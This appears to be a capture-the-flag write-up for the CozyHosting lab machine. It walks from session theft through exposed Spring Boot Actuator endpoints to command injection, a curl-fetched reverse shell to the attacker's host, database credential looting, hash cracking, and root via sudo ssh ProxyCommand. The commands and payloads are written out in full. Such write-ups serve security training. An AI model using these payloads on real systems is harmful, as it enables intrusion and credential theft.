Target IP: 10.10.11.230
Hostname: cozyhosting.htb

Initial Reconnaissance

After adding the hostname to /etc/hosts, I scanned all TCP ports and ran service detection.

echo "10.10.11.230 cozyhosting.htb" | sudo tee -a /etc/hosts
ports=$(nmap -Pn -p- --min-rate=1000 -T4 10.10.11.230 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,$//')
nmap -p$ports -sC -sV 10.10.11.230

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3
80/tcp open  http    nginx 1.18.0 (Ubuntu)

Fuzzing directories turned up a /login page, an /admin area that returned 401, an /error page, and a /logout. The /error page in particular had the very recognizable look of a Spring Boot default error page.

wfuzz -c -z file,/usr/share/dirb/wordlists/common.txt --hc 404 "http://cozyhosting.htb/FUZZ"

Spring Boot Actuator

A Spring Boot backend usually means the Actuator endpoints are worth checking. Several were exposed, and /actuator/sessions was the useful one.

curl http://cozyhosting.htb/actuator/sessions

{"2083733E8B2384BD8E26AEC934CECFFB":"kanderson"}

That is an active session ID mapped to the user kanderson. Setting my JSESSIONID cookie to that value logged me straight into the admin dashboard, no password needed.

curl -b "JSESSIONID=2083733E8B2384BD8E26AEC934CECFFB" http://cozyhosting.htb/admin

Command Injection in the Admin Panel

The admin dashboard had a feature to add a host by providing a hostname and a username, which the backend used to run an ssh command. Injecting into the username field made the server echo back the full ssh usage string in an error, which confirmed my input was landing directly on the command line. Spaces were filtered, so I used ${IFS} in their place.

The cleanest approach was to host a reverse shell script and pull it in with curl.

# attacker
cat > hi.sh <<'EOF'
#!/bin/bash
sh -i >& /dev/tcp/10.10.14.6/5555 0>&1
EOF
python3 -m http.server 6666

host=localhost&username=||curl${IFS}10.10.14.6:6666/hi.sh|bash;#

The listener caught a shell as the app service account.

connect to [10.10.14.6] from (UNKNOWN) [10.10.11.230] 44102
$ id
uid=1001(app) gid=1001(app) groups=1001(app)

Looting the Application JAR

The application binary lived in /app as a Spring Boot fat JAR. I copied it back to my machine and unpacked it.

# on target
cd /app && python3 -m http.server 9999
# on attacker
curl cozyhosting.htb:9999/cloudhosting-0.0.1.jar -o cloudhosting-0.0.1.jar
jar xf cloudhosting-0.0.1.jar

BOOT-INF/classes/application.properties held the PostgreSQL credentials.

spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR

Cracking a Database Hash

Back on the target, I connected to the database and dumped the users table.

psql -U postgres -d cozyhosting -h localhost -p 5432

   name    |                           password                           | role
-----------+--------------------------------------------------------------+-------
 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin

The admin hash was bcrypt, and it cracked quickly against rockyou.

hashcat -m 3200 hash --wordlist /usr/share/wordlists/rockyou.txt
# => manchesterunited

There was a josh user on the box, and the recovered password worked for him over SSH.

ssh josh@cozyhosting.htb   # password: manchesterunited
cat user.txt

Privilege Escalation with sudo ssh

josh had a very direct sudo entry.

sudo -l

User josh may run the following commands on localhost:
    (root) /usr/bin/ssh *

Being able to run ssh as root is a known GTFOBins trick. The ProxyCommand option runs a shell command, and since ssh is running as root, so is the shell.

sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt

Takeaways

CozyHosting is a tour of Spring Boot pitfalls. Exposed Actuator endpoints leaked a live session, which is as good as a password. From there, an ssh-wrapping feature that trusted user input gave command execution, and the app’s own JAR handed over the database password.

The privilege escalation is a reminder to check GTFOBins for anything in sudo -l. ssh looks harmless, but ProxyCommand turns it into arbitrary command execution as root.